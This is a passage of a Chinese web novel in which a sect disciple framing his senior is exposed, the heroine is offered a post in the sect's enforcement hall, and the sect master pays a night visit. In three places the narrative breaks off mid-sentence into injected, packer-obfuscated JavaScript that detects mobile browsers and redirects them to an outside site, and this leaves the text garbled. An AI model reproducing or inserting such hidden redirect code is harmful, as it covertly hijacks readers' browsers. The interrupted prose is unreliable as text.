既然刑煜擂台一事已经水落石出,贺稚雪也就没再遮遮掩掩:“毕竟部分世家对族中子弟要求确实颇高,偶尔也会听闻别的宗门发生此类事件。” “只是你为何要栽赃慕师兄?” 看着独自站在长老座位后的邢子山,贺稚雪生气又不解:“栽赃便栽赃,你甚至想把责任全部推倒慕师兄头上。” “如果这次不是祝师妹及时带来证据澄清真相,你可知以你栽赃慕师兄的理由,一旦被承认,慕师兄将会……” 乍然响起的怒喝打断了贺稚雪。 “那是他应得的!” 猛地抬起头,邢子山终于撕下伪装的假面,脸上神情之狰狞,令见者无不惊心。 盯着慕行秋的眼神阴狠,他毫不掩饰对慕行秋的刻骨恨意:“自从他来了剑宗,所有的一切都变了。他凭什么,凭什么得到那么多东西……” “他凭什么抢走我剑宗大师兄的身份!!” 最后一句质问怒吼而出,响彻厅堂的声音里,邢子山绝望得真情实感,贺稚雪白月书等人脸上也写满唏嘘。 祝昭昭却非常疑惑。 大师兄?什么大师兄? 一个这会儿还在和白月书还有秦之衡一起在老生班上学的人,当什么剑宗大师兄? 梦里当? 还敢喊那么大声。 说出来都不嫌自己丢人吗?要是传出去,还不得被其他宗门笑到地老天荒? 贺稚雪很快解开了祝昭昭的疑惑。 她皱眉:“可是大师兄的位置先按年龄,再是按修为排。年龄上我大师兄王肃年纪最大,而修为……” “哪怕择大师兄一位时,你与慕师兄修为不相上下,可这么多年过去,你修为早已大大落后于他。” “又何必一直揪着这点不放?” 贺稚雪一番话听得祝昭昭瞪大眼。 这要素齐全的。 按年纪的时候年纪排不上号,按修为的时候修为和慕行秋大差不差。 这会儿终于差了,结果是倒着差的。 还好大师兄的位置最后没落到邢子山头上好吗? 祝昭昭:突然替剑宗捏了把汗。 “我揪着不放?” 气得直接重重冷哼,邢子山更加愤怒:“贺稚雪,你若不提这事倒也罢,可你既然提,那我倒是有问题想问了。” “王肃师兄之所以未被选作宗门大师兄,是因为宗内有规,弟子若在掌刑司内任职,其他名号便不可再得。” “可你看看他!” 视线重落回慕行秋身上,邢子山咬牙切齿:“他如今既是宗门大师兄,又是掌刑司乾殿司主,甚至还是五长老首徒。” “你说说,这种种名号加诸他身,可算符合宗规?” 气氛因邢子山近乎直白的质问降至冰点。 却就在这时,有人突然出声。 “可是。” 乍然受到所有人的注视,秦之衡掩唇轻咳:“慕师兄得宗门大师兄称谓在前,当掌刑司乾殿司主在后。若是认真算来,怎么都怪不到一处罢?” 众人连忙点头。 “就算如你所说。” 破罐破摔的邢子山这会儿真是逮谁骂谁:“他得称谓在前,做乾殿司主在后。可是凭什么?!” “凭什么他一个被天玄山圣女预言是藏于剑宗的魔族血脉之人,能得到如此多的名号与权力?!” 等等。 他说什么? 突然被点到名的祝昭昭一阵心虚。 她记得她当时的预言明明只是‘剑宗藏有身怀魔族血脉的人’,并没有明确指出这个人究竟是谁吧? 怎么在邢子山这里,这个人直接就成了慕行秋? 虽然也确实是他就是了。 祝昭昭:慌张。 邢子山还在继续:“一个身怀魔族血脉的人都能在宗内混得如鱼得水,他把剑宗当做什么?” “剑宗成什么地方了?!” 邢子山质问得情真意切,祝昭昭听着,却总觉得有些不是滋味。 诚然,她的预言并不假,可说到底也只是一句范围非常大的话,被发散到邢子山能直接借此针对慕行秋,主要责任其实不在她。 但预言又的的确确出自她口。 祝昭昭抬头看着堂上。 如果一众亲传弟子沉默是因为没有立场,其他长老沉默是因为他们不想扩大事态。 那么曾书呢? 眼角余光瞥见的身影不甚清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或八卦或震撼的目光中,祝昭昭面无表情:“因为拉不下脸,你一直没行动,直到最近才终于下定决心,准备在——” “慕行秋!” 慌得额角都开始渗汗的邢子山转移话题:“事情走到这个地步都是因为你!像你这样的人就不该待在剑宗,如果我是你,我根本就不会再死皮赖脸留在剑宗!” 不回答也不反驳,慕行秋就那么背着手,静静站在原地听着邢子山极尽全力侮辱自己。 掌筠也终于皱起眉头。 “够了。” 邢子山忿忿闭嘴。 扫了眼还在喝茶的五长老曾书,掌筠眼底掠过一丝不悦:“既然事情真相已水落石出,那么子山小子。” 他注视着邢子山的眼神第一次带了肃色:“由于你不仅教唆刑煜使用禁术,甚至事情败露后意图栽赃陷害行秋小子的行径太过恶劣,我便罚你去守魔界边线半年,磨炼心智。” “你可有意见?” 守魔界边线。 那是出了名的苦寒之地,去半年肯定要脱层皮。 祝昭昭有些意外。 但该说不说,她觉得这惩罚很合理。 邢子山却不觉得。 早在听到‘守魔界’三个字就已经面色大变,他慌张求饶:“宗主,宗主我知道错了,您换个惩罚吧,我不想去守魔界!” 回答是摆手拒绝,掌筠起身,又突然想起什么:“对了,殊音。” 殊音淡声:“何事。” “既然昭昭坏的是你掌刑司的规矩,那惩罚便也交给你了。” 殊音点头。 见状微一颔首,掌筠身影一动消失在原地。 其他长老亦纷纷离开。 厅堂内很快只剩几个亲传。 有掌刑司弟子走进厅堂押着邢子山准备带走。 然而原本一言不发任由掌刑司弟子扣住的邢子山在路过慕行秋时,却突然暴起。 手中紧握着枚法器,他面目狰狞:“慕行秋!今天我就要你这迷惑人心的魔族现形!” 58. 不小心昨日重现 法器反射出的光刺眼,离得最近的祝昭昭立刻认出了邢子山手上握着的法器是什么。 镇魔锥,只对魔族有效的法器。 一旦毫无防备的情况下刺中要害,必定重伤魔族的法器。 真是唯恐天下不乱的搅事精! 恨不得当场给邢子山头上一个暴扣,祝昭昭朝慕行秋咬牙厉声:“护住心脉附近!” 她话音落下的同时,白月书等人也一齐动了起来。 但最快的却是慕行秋。 自身后闪现而出的灵力准确击中邢子山手腕,镇魔锥稳稳跌落进慕行秋掌心,他唇角微弯,挑衅似地慢悠悠将镇魔锥交还给邢子山。 “你的东西,收好。” 被邢子山挣开的两个掌刑司弟子急忙重新将他压得更紧,赶到的白月书不顾秦之衡和贺稚雪的阻拦,重重一掌在邢子山背后拍下控灵禁制。 做完这一切,白月书突然想起祝昭昭。 她当时离邢子山不过数米距离,如果不是慕行秋控制及时,邢子山外放的灵力必定会连她一起伤到。 脸上瞬间写满慌张,白月书转身去找祝昭昭的身影。 这才发现她不知何时已经来到在邢子山跟前。 见祝昭昭没什么大碍,白月书松了口气准备叫她到自己身边:“昭昭你没事……” 下一秒,她眼睁睁看着怒气冲冲的祝昭昭对着邢子山的脸猛扬起手—— 熟悉的记忆疯狂涌上脑海,祝昭昭扬手带起的风刮乱邢子山头发,他狠狠倒抽口凉气,下意识侧头想躲。 空气也于此刻凝固。 所有人都震撼了,瞪大眼睛看着眼前的景象。 金丹作势要扫元婴巴掌,元婴不回击就算了,竟然还在躲。 还在躲?? 这世界究竟怎么了?? 所幸巴掌落下的刹那,慕行秋的灵力及时缠住了祝昭昭手腕,这才阻止了一场奇闻的又一次发生。 嗯…… 又一次。 面对贺稚雪震惊中带着疑问的目光,白月书和秦之衡很有默契地齐齐移开视线。 微笑着指挥灵力按下祝昭昭因不屈而僵持的手臂,慕行秋微微低头,眉眼弯弯地瞧着她:“子山兄的过错自有人处理,何须昭昭师妹亲自动手。” 话落挥挥手,他示意掌刑司弟子押着邢子山离开。 祝昭昭表示别拿这套糊弄我:“旁人处理他的错是旁人的事,我要抽他巴掌是我的事。” “你凭什么拦我。” “凭我是掌刑司乾殿司主。”慕行秋笑意更深,“昭昭师妹你当着我的面对同门动手,我若是熟视无睹,岂非于理不合?” 祝昭昭几乎立刻:“知道了,下次动手背着你。” “我以后注意。” 在场其他人:?? 这句话是这么理解的吗? 然而尽管被祝昭昭当面呛声,慕行秋脸上还是写满笑模样。 他甚至依旧保持着耐心:“如果师妹选择的时间恰当。” 这话出口的瞬间,在场其他人更是如遭雷击。 尤其贺稚雪,已经完全一副冲击太大导致灵魂陷入虚无的状态。 眼角余光里贺稚雪白月书等人的反应一看就不对劲,望着眼前笑得和煦的慕行秋,祝昭昭一阵恶寒。 这人吃错药了? 但说到底邢子山已经被押走,再在这件事上争来争去也没意义。 于是祝昭昭选择转移话题:“我方才带来的器鸣金要怎么处理,我现在交还回司刑大殿还是到时候交还给二长老。” 被祝昭昭提醒,众人终于想起此事。 先看了眼慕行秋再看了眼贺稚雪,白月书态度委婉:“说到底,昭昭是为了维护宗门公平公正才冒险拿器鸣金来作证,而且最后也确实证明慕师兄是被冤枉的。” “如此情形下,还要惩罚昭昭吗?” 为了尽量帮祝昭昭说情,一向不善言辞的白月书甚至努力找理由把祝昭昭做的事放大美化,绞尽脑汁找补的模样看得祝昭昭都心生怜爱。 多好的女主角啊! 祝昭昭:感动。 在场一共两个掌刑司的人,其中慕行秋是本次事件中心,没法发表看法,于是回答白月书的任务自然落在了贺稚雪头上。 她神色写满为难:“月书你言之有理,然无规矩不成方圆,凡事一码归一码。功,当赏,过,也当需罚……” “且对昭昭师妹取用器鸣金的处理是宗主与我师父一齐定下的,就算是我,也不好妄加议论。”贺稚雪说着抬起头—— 继而对上白月书和秦之衡整齐盯着她的,‘别说了真的不能通融下吗’的眼神。 反倒是事主祝昭昭正无比专注地盯着地面,一副‘别看我我不认识他们’的拒绝共沉沦架势。 贺稚雪虽以雷厉风行的行事准则闻名于剑宗,但也因为太过非黑即白,反而难以应对今天这种对错模糊的事件。 加上白月书和秦之衡是她熟悉的人,她对祝昭昭的印象又非常不错以及邢子山本来就不干好事…… 种种原因交织下,她只能求救地望向慕行秋。 这才发现慕行秋手上不知何时已经多了好几只传信鹤,他正在动手拆其中一只。 贺稚雪只能失望转头。 也因此没有注意到慕行秋在她转头后便悠悠抬起的眼。 以及那状似无意却无比准确地落在祝昭昭身上的,若有所思的目光。 叫外援失败,贺稚雪望着还在眼巴巴看着她的白月书和秦之衡,脑子差点停转都还想不出怎么把这事糊弄过去。 好在一道灵息突然飘了过来。 是二长老殊音的传讯。 几乎用一种见到救星的神情望着飘进自己手里的灵息,贺稚雪将之点开。 然后微笑起来:“我师父说……” 话说一半瞬间感觉落在自己身上的视线杀伤力变强,她立刻轻咳两声耷拉下脸,装作一副很遗憾的样子:“我师父让我现在带昭昭去平风小殿。” 知道祝昭昭挨罚这事再没了回旋余地,白月书和秦之衡顿时泄气。 一脸心疼地轻拍祝昭昭肩膀,白月书试图鼓励她:“不论受罚与否,昭昭你带来器鸣金为慕师兄洗清冤屈这件事都一定是对的。如若二长老对你的处罚……” 她突然沉默了一下:“总之,昭昭你回来后,我与之衡会为你准备惊喜。” 惊喜? 祝昭昭原本还心不在焉的眼神忽然变得犀利。 会被人坑得差点去守魔界挖矿,会让她在疯狂赶课的时候加练,会因为讨论剑招在花前月下时上演全武行的两个人,会给出什么样的惊喜? 祝昭昭根本不敢再细想。 但她无法对白月书的真心安慰,做出除了接受以外的任何反应:“……知道了月书师姐,稍后若是能回去的话,我再去找你和秦师兄。” 白月书欣慰地摸摸她脑袋。 见此场景,边上秦之衡再次欲言又止。 明明是三个人一起认识的,再不济也相处很久了吧,真的不能叫他之衡师兄吗? 享受着来自女主角亲切地摸摸之余,祝昭昭瞥见秦之衡呆呆的心碎表情。 好吧,偶尔还是要哄哄男主的。 不然必要时候妨碍到做任务就不好了。 眨眨眼,祝昭昭朝他笑开:“哎呀,我怎么说错了,应该是之衡师兄。” 先是一愣,接着眼睛不可置信地亮起,秦之衡正准备说点什么—— 身后慕行秋温和的话音就恰好传来:“二长老还在平风小殿等着昭昭师妹,切莫耽误太久。” 贺稚雪应了声,连忙招手让祝昭昭到自己身边来。 跟着贺稚雪朝大门走去,自觉被打扰的祝昭昭略微有些不爽地横了慕行秋一眼。 得到他不为所动的微笑。 笑什么笑! 差点当场翻他白眼,祝昭昭转身,不再搭理他。 * 前往平风小殿的路上—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280541|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >瞥了祝昭昭好几次都没让她接到暗示,贺稚雪犹豫半天,终于主动开口:“昭昭。” 故意装瞎就想看看她究竟想干什么的祝昭昭:“怎么了贺师姐?” “今天殿审一事,真的谢谢你。” 贺稚雪说着垂眸,眼底浮现出点点庆幸:“你刚醒便匆匆被叫来可能不知道,长老们和掌刑司因为这件事已经僵持不下了很久。” 她叹了口气:“大家其实都知道慕师兄是被冤枉的。” 这事并不意外。 但祝昭昭想试试能不能听到点有用的信息。 于是她顺着贺稚雪问:“大家都知道慕师兄是被冤枉的?” “嗯。” 贺稚雪神情低落:“虽然擂台上的痕迹当时已经被清理得差不多,导致我们没办法再得到更多蛛丝马迹。” “可凭借宗主和长老们的能力与手段,那点问题怎么可能难倒他们?” 祝昭昭当然认同这种说法:“所以?” “所以审问之所以陷入僵局,是因为三长老一口咬定必须拿出确凿证据,才能评判此事。” “事关三长老的亲传弟子,宗主和长老们也理解他的坚持。”贺稚雪抬头,“但这件事本身就疑点重重,严格来说慕师兄并不完全算是疑犯,也就不该被那样对待。” 明白贺稚雪的意思是‘不该把慕行秋当阶下囚对待’,祝昭昭‘嗯’了声:“那为什么慕师兄还被那样审问?” “因为五长老从头到尾都没有插手此事!” 自知失态的贺稚雪抿抿唇,很快安静下来:“有些事说出来也不怕昭昭你觉得不公平。实际上像这种人证物证皆不明晰且牵扯重重的事,宗里完全可以大事化小处理。” “可就是因为五长老一直不表态,导致宗主和其他长老无法借着台阶下,邢子山才敢借着那些‘证据’一直咄咄逼人,非要将慕师兄影响擂台的罪责坐实。” “我真不明白五长老为什么那样。”贺稚雪皱紧眉头,“明明他对白师妹和秦师兄都很好,可对上慕师兄,他却永远淡漠疏离。不熟悉的人乍眼一看,根本看不出两人是师徒。” 贺稚雪仿佛找到了什么发/泄口:“他处罚慕师兄从不会手下留情,好几次我都听见六长老吩咐药童往慕师兄那里送伤药。” “甚至有一次我听说他想派慕师兄去守魔界历练一年。好在宗主及时严厉制止,否则他真就送慕师兄去了。” “要知道慕师兄那时候才刚刚金丹啊。”贺稚雪面露不忍,“哪怕再教徒心切的师父,也少见那样不顾徒弟死活的。” “但五长老就是那么做了。” 谁也没有再说话,空气安静下来。 直到平风小殿出现在小路尽头,贺稚雪终于停下脚步:“总之今天如果不是昭昭师妹你,慕师兄恐怕难逃处罚。我很庆幸今天把你叫来,相信大多数长老们也那么想。” 她笑得有些勉强:“所以放轻松,我师父应该不会罚得太重……的?” 祝昭昭沉默。 不是,如果想安慰人的话至少语气要坚定点吧? 你‘吗’是什么意思啊? 自己都不信是吗? 祝昭昭:擦汗猫猫头·jpg “谢谢贺师姐安慰我。” 暗暗叹口气,祝昭昭最后还是点头:“不论如何,能帮慕师兄洗清冤屈,我就不会后悔我的所作所为。但正如你刚才所说,功过不可相抵,我亦明白这个道理。” “所以贺师姐不需要内疚,让一切顺其自然就好。” 看着祝昭昭平静的双眼,贺稚雪怔。 片刻后,她的笑容里多了释然:“昭昭师妹,你确实很有意思。” 不等祝昭昭问这话什么意思,贺稚雪就拍拍她肩膀,整个人消失在原地。 下一秒,祝昭昭眼前一花,整个人已经被传送到平风小殿中。 察觉到祝昭昭的出现,堂上正翻看书册的女子停下手中动作。 她抬头—— “你来了。” 59. 你明明可以独善其身 还处于突然出现在平风小殿的懵然中的祝昭昭:“……嗯。” 回答完,她终于缓过神来。 然后尴尬得脚趾扣地。 麻烦所有人都遵守一下传送前打招呼的不成文约定啊!! 祝昭昭:这是在干什么·jpg 将手中书册轻轻放在桌上,殊音低头,望着祝昭昭的目光淡淡。 殊音不出声,祝昭昭更不敢说话。 于是整个平风小殿陷入一种令人窒息的安静中。 直到祝昭昭已经开始在脑子里和202斗起地主,终于有声音从堂上传来。 “你什么时候来的剑宗。” 啊? 一把扔飞牌强制让202宣布自己胜利,回过神的祝昭昭嘴比脑子快:“至今应该五月有余。” “五月?” 意味不明地轻笑一声,殊音抬手,轻轻抵在腮边:“入宗不过五月,便能任意来去宗内任何地点。” “昭昭。” ‘昭昭’两个字带上刻意的加重语气,殊音不紧不慢:“你是如何做到的?” 如何做到? 脑子里已经开始拉警报,祝昭昭盯着殊音纤白的手试图转移注意。 极速思考间,她决定先装傻探探殊音究竟什么意思:“难道不是只要是亲传弟子都可以吗?” “亲传弟子都可以是不假。” 殊音眸光淡淡:“可五个月就能摸到司刑大殿,并得到殿中弟子信任,在神不知鬼不觉的情形下取走器鸣金……” “你觉得,这也是亲传弟子都可以做到的吗?” 祝昭昭立刻闭嘴。 “什么时候摸走的。”殊音单刀直入。 “比试开始前两天。”祝昭昭不假思索。 她在赌,赌日理万机的殊音不清楚器鸣金的具体数量和详细变动。 显然,祝昭昭赌对了。 因为殊音换了个问题:“怎么摸走的。” 抿抿唇,祝昭昭低声:“损坏的器鸣金未与其他还在运行的器鸣金链接,我选了个损毁程度稍轻的,趁其他人交接换班的时候带走修好。” “再找机会送回并链接上其他器鸣金,最后将之隐藏起来。” 她的话真假参半,加上没有人证,殊音无从查起。 殊音似乎也对另外的问题更感兴趣:“所以你的意思是,器鸣金是你一手修好?” 祝昭昭:“……是。” 202在祝昭昭精神空间里咆哮:这简直是危言耸听·jpg “如此。”堂上殊音换了个姿势,衣料轻轻摩擦的声音在空荡的平风小殿里异常清晰。 “那么,你是如何将器鸣金藏得其他人都找不到的。” 因为事实上不是我藏的。 狠狠给了202脑袋一拳让它闭嘴,祝昭昭开始编:“我用了隐匿法器,而完好的器鸣金有专人记录数量。” “损坏的器鸣金却没有。” “换言之,若是有人去查,其他掌刑司弟子就是最好的证人。不管是查看器鸣金或是对器鸣金动手脚的人,都很难想到还有额外的器鸣金被人特意藏起。” 祝昭昭边说,边仔细观察堂上殊音的反应。 不止殊音在试探祝昭昭,祝昭昭其实也在试探殊音。 她一直在评估是否需要清洗殊音的记忆。 也正是因此,祝昭昭注意到自己话落的时候,殊音眼底闪过一抹笑意。 她在笑? 为什么? 殊音当然不会回答祝昭昭:“这么做的理由是什么。” 这个问题还算简单,祝昭昭几乎没怎么考虑就编好回答:“刑煜手段颇多,我担心他在擂台上耍手段坑害我。” “所以倒是弄巧成拙了?”殊音唇角微弯。 摸不准殊音这话究竟什么意思,祝昭昭没吭声。 “为了防止比试对手使坏,你瞒过所有人摸走器鸣金修好又放回,最后误打误撞,洗清了行秋的冤屈。” 慢悠悠总结完来龙去脉,殊音落在祝昭昭身上的目光意味深长:“祝昭昭,你的确很有意思。” 谢,谢谢夸奖? 祝昭昭朝殊音扯出个不算真心的笑脸。 没回应祝昭昭的示好,殊音话锋一转:“那么你可知,随意拿取宗内法器有违宗规,一旦被发现,必定会重罚?” 终于来了。 祝昭昭收起笑脸:“知道。” “既然知道,为什么方才在议事堂,你还愿意为行秋作证?” 问题几乎称得上尖锐,殊音指尖轻扣桌面:“当时无人知你手上有器鸣金为证,你大可装作一无所知,任由我们审问他。” “毕竟受罚的滋味并不好受,我想你应该知道。” 空气安静下来。 殊音似乎这个问题的答案非常感兴趣,哪怕祝昭昭久久不语,也依旧保持耐心等候。 很快,祝昭昭终于给出了她的回答—— “因为不公平。” 指尖的动作倏然停下,殊音静静看着她。 祝昭昭只当不知道:“诚然,在那时候保持沉默是对我来说最好的选择。” “可慕师兄并没有做错什么。” 哪怕的确有任务在身的原因,但在不祸及自身的情况下,祝昭昭其实并不喜欢袖手旁观别人背黑锅:“二长老应该知道,我现在暂时在雾鸣山中修行,平日虽然和慕师兄见面不多,但总归略有了解。” “对师长,慕师兄敬重有加;对同门,慕师兄仁爱公正。” 这话虽然是实话,但从自己嘴里说出来,祝昭昭还是反射性地尴起一身鸡皮:“眼睁睁看着这样的人被诬陷惩罚,我做不到。” “况且未经允许随意动用器鸣金本就不对,我就算因此受罚也无可厚非。” 祝昭昭说着,朝殊音行了一礼:“所以二长老放心,无论您作出何种处罚,我都不会有怨言。” 落针可闻。 时间就那么一点点过去,直到自大门掠进的风,吹起堂上两边挂着的字画。 纸张不住翻动的声响中,殊音的话音也终于响起。 却不是斥责或处罚。 而是—— “祝昭昭,你可愿加入掌刑司?” 仍旧保持着弯腰行礼姿势,已经想好被罚这段时间,要怎么找方法继续盯着慕行秋的祝昭昭:…… 嗯? 怀疑自己耳朵出问题,祝昭昭讶异抬头,正对上殊音含笑的眸子。 再听她慢悠悠地,仿佛是在闲聊般道:“掌刑司如今,刚好缺一位离殿司主。” 祝昭昭发怔的当口,有什么刻在灵魂的话,不受控制地在脑子里冒出—— 五险一金正常节假日是不是都有,少一样免谈。 在202的惊恐阻止中咽下了差点脱口而出的话,祝昭昭很快回神:“我不明白您的意思。” “手段、心性,深仁厚泽的信念。”殊音一字一句,道出她选择祝昭昭的原因,“掌刑司需要你这样的人。” 祝昭昭表面安静听着,实则正在思维发散。 掌刑司按八卦分出支殿,八个司主除去目前空位的离殿司主后,剩下六个司主里只有慕行秋一个,是其他长老的亲传。 这代表殊音肯定慕行秋身上的部分特质。 而现在殊音要邀请她做离殿司主。 殊音认可的特质不会改变。换句话说,也就是在殊音的认知里,她和慕行秋的部分特质是重叠的。 等于殊音觉得她和慕行秋有相似点。 …… 祝昭昭:这是否过分抽象。 感受到堂上殊音因为自己沉默太久而导致存在感逐渐变强的视线,祝昭昭艰难地从刚才的认知里挣扎出来。 再摇摇头:“谢谢二长老抬爱,但——” “容昭昭拒绝。” 闻言先是一愣,殊音挑眉:“哦?为什么?” 因为不想社畜996。 脑子里不由浮现出这段时间在掌刑司的见闻,祝昭昭头皮发麻的同时,熟练运用起语言的艺术:“正如二长老所说,昭昭来剑宗不过数月,还有很多事情并不了解,难以当此大任。” “且昭昭年岁尚浅,若是担任司主,恐怕难以服众。” 面对祝昭昭的推辞,殊音默了默, 片刻后,她不答反问:“那昭昭你是否知道。” “行秋担任乾殿司主时,仅大你两岁?” 祝昭昭:…… 不知道,也不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280542|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。 抿抿唇,祝昭昭以沉默表示态度。 她本来已经做好了殊音不高兴的准备。 然而头顶视线始终存在的情况下,她最后却听见了殊音的轻笑声。 于是祝昭昭抬头。 与想象中的不同,殊音脸上神情不是被弟子忤逆的不满,反而是长辈面对任性小辈时的无可无奈。 望着祝昭昭轻叹口气,殊音道:“若是你实在反感,那便罢了。” 闻言有些意外于殊音的好说话,祝昭昭刚想道谢,紧接着就听她再道—— “既然你不愿担任司主,我们就重说回关于此事的赏罚罢。” 殊音话落抬手,数道流光朝祝昭昭方向飞去。 下意识张开手任由流光落进掌心,祝昭昭看着渐渐消散的光芒:“这是……” “这是你的奖励。” 殊音答。 祝昭昭于是再低头。 掌心里一共两样东西,一样很好认,是个造型区别于传统款式的传讯法器;另一样,则是一块灵牌。 一块A面篆刻‘掌刑司’,B面篆刻‘离’字的玉色灵牌。 …… 祝昭昭:这是在干什么·jpg 殊音的解答适时响起:“你说你不愿担任司主,我可以理解。然奖励早已定好,如今乍要我换,我也选不出合适的奖励,所以该给你的东西还是给你。” “但你不必来掌刑司报道。” 还有这种操作? 看看殊音又看看玉牌,祝昭昭沉默了一下,问:“那惩罚是什么?” 如果没猜错的话…… “惩罚?” 她反问完,原本面如平湖的殊音突然眉眼微弯:“如果掌刑司中有需要,你便过来帮忙。” “这就是惩罚。” 祝昭昭听完死鱼眼。 她就知道。 说归说,但身为剑宗长老的殊音为了让她接受离殿司主的身份,已经退让到可以让她不挂名的份上,再推脱,就不礼貌了。 悄悄在心底腹诽了句‘诡计多端的老油条’,祝昭昭最后还是朝殊音行礼:“那昭昭在这谢过二长老。” 心情不错的殊音示意祝昭昭起身。 将法器与玉牌收进空间袋,祝昭昭准备离开。 然后刚转身,就听到堂上殊音再度开口。 她说:“替我向苏青鱼问好。” 祝昭昭脚步一顿,刚准备答应—— “顺便让她洗干净脖子,我空闲的时候,会去和她算算她逗弄我的帐。” 逗弄…… 立刻闭紧嘴,祝昭昭点完头后麻溜跑路。 * 走出平风小殿,祝昭昭从未感觉哪刻的空气比此刻的更令人觉得轻松。 伸了个懒腰,她步履不停,拐进边上回廊。 但刚踏入一步,她就注意到回廊入口放着东西。 其实很难不注意到。 轻轻驱散不停在闪光的灵蝶,祝昭昭轻轻拿起那盒子打开,一小罐疗伤药和一个手掌长的瓶子就这样落入她眼中。 祝昭昭盯着盒子里的东西发呆的空档,202在她耳边嚷嚷起来:“谁送来的东西啊,还有疗伤药。是怕你挨罚受伤特地送的?” “多好的人啊。” “你怎么知道是送给我的?”闻言‘啧’一声,祝昭昭刚准备把盒子放下去,里面东西滚动起来,露出压在底下的字条—— ‘昭昭师妹收。’ 祝昭昭:…… 202:…… 沉默着收起疗伤药,祝昭昭拿起瓶子。 202也接着问:“里面什么东西啊?” “奶茶。”打开瓶子的祝昭昭言简意赅。 “送疗伤药治你完还不忘送奶茶安慰你,刚刚那个小姑娘,”202作回忆状,“叫贺稚雪是吧,真是好人啊。” “你怎么知道是她送的?”祝昭昭不答反问。 202理直气壮:“她以为自己送你来挨罚,送点东西赔罪很合理啊。那你说,不是她是谁?” 是谁? 盯着手里瓶子,祝昭昭沉默。 最后直接把瓶子收入空间袋,她重新迈进回廊。 “你猜。” 60. 什么经典恐怖片桥段? 祝昭昭暂时还是不回雾鸣山。 灵华降落在静心阁,她换完衣服又捏了个净身诀后,直接倒进床里。 * 再睁眼时,房中已经一片漆黑。 打着哈欠从床上坐起,祝昭昭抓抓睡得有些散乱的头发,趿拉着脚步走到桌旁。 一杯茶下肚,她整个人都清醒许多。 随手点亮房中烛火,祝昭昭本想再坐着发会儿呆。 然而百无聊赖的视线落在窗外院中时,借着檐下灯火,她却似乎隐约看到一个黑影蹲在树下。 什么东西? 托腮的手下意识撇了一下,祝昭昭沉默片刻后,盯了会儿桌上烛火。 再又抬头去看—— 黑影消失无踪。 202惊恐的叫声吵得祝昭昭脑子嗡嗡响,她皱起眉头。 堂堂剑宗宗主的山头竟然还能闹鬼? 什么东西这么不长眼? 警告202再叫就要让它挨会儿电,祝昭昭本着‘我倒要看看到底是什么东西在作怪’的念头,快步走到窗边。 然而两手刚搭在窗框,窗上边就有东西倏地倒吊下来 反射性向后退开上半身,祝昭昭面无表情对着那东西就是一拳。 惨叫声顿时响彻整座静心阁。 人的惨叫? 祝昭昭眨眨眼,朝窗外探出身子。 地上一个满脸痛苦面具的小男孩,就此映入她眼帘。 整个人蜷缩着躺在地上,掌筠两手紧紧捂住鼻子,眼角闪着生理性泪花:“给我……拿块……手绢来……” 盯着掌筠看了一会儿,祝昭昭默默地从空间袋摸出早上被打开揉皱的传信鹤扔过去。 爱恶作剧的家伙,只配用这个。 * 一番折腾终于进了房间,掌筠拿起桌上茶杯咂了一口。 正喝着,他突然‘唔’了声,再挑眉望进杯里:“这不是山下最近时兴的乳茶么,昭昭,你也在喝这个啊?” “我平时也会下山。”祝昭昭一脸无语。 闻言不好意思地笑了两声,掌筠又是一口:“山下酒楼就是好玩吃食多,听说它们最近又出了许多新花样,我抽空得去看看。” 你还用得上‘抽空’两个字? 心里吐槽完,祝昭昭嘴上敷衍:“是是是,抽空再去。” 哪能听不懂祝昭昭的阴阳怪气,掌筠刚想回嘴,又突然停了下来:“咦……?” 祝昭昭用眼神表达疑问。 盯了杯里奶茶半天,他又试探着喝了口:“这个乳茶,好像和酒楼的乳茶不一样。” “它喝起来有点凉丝丝的。” 死鱼眼看着已经完全把心思放在奶茶上的掌筠,祝昭昭终于开始理解为什么宁木灵碰上掌筠就容易抓狂。 她叹气:“您大晚上的过来,到底有什么事。” 别惦记那口吃的到底什么味道了,有事快说没事滚蛋。 闻声一脸满足地抬头,掌筠张张嘴,然后就那么卡在原地。 他眨眨眼:“……我要说什么来着?” 祝昭昭的回答,是直接走到掌筠身后把他拎起来。 “诶诶诶,我说我说,我想起来了。”两脚离地的掌筠很慌张,“我这就想起来了。” 闻言祝昭昭作势要放他下来,又听他‘诶’一声。 “要不你再拎一会儿吧,其实还挺好玩的。” 祝昭昭直接松手。 在将要砸到木凳上的最后一刻控制灵力包裹着自己漂浮在空中,掌筠盘着腿,一脸无奈地摇头:“不肖弟子,不肖弟子啊。” 坐回凳子上翘起二郎腿的祝昭昭:“所以您有什么事就快说,省得被不肖弟子气死。” “好好好。”撇撇嘴,掌筠朝祝昭昭笑得一脸发贼:“当司主的感觉怎么样?” 一听这话就挑眉,祝昭昭反问:“所以是您让二长老那么做的?” “当然不是。”掌筠用一种‘你在想什么呢’的眼神看着祝昭昭,“不是殊音自己决定,没人左右得了她。” “我只是知道有这么回事。” 微一颔首,祝昭昭‘哦’了声:“原来如此。” “那您知道错了。” 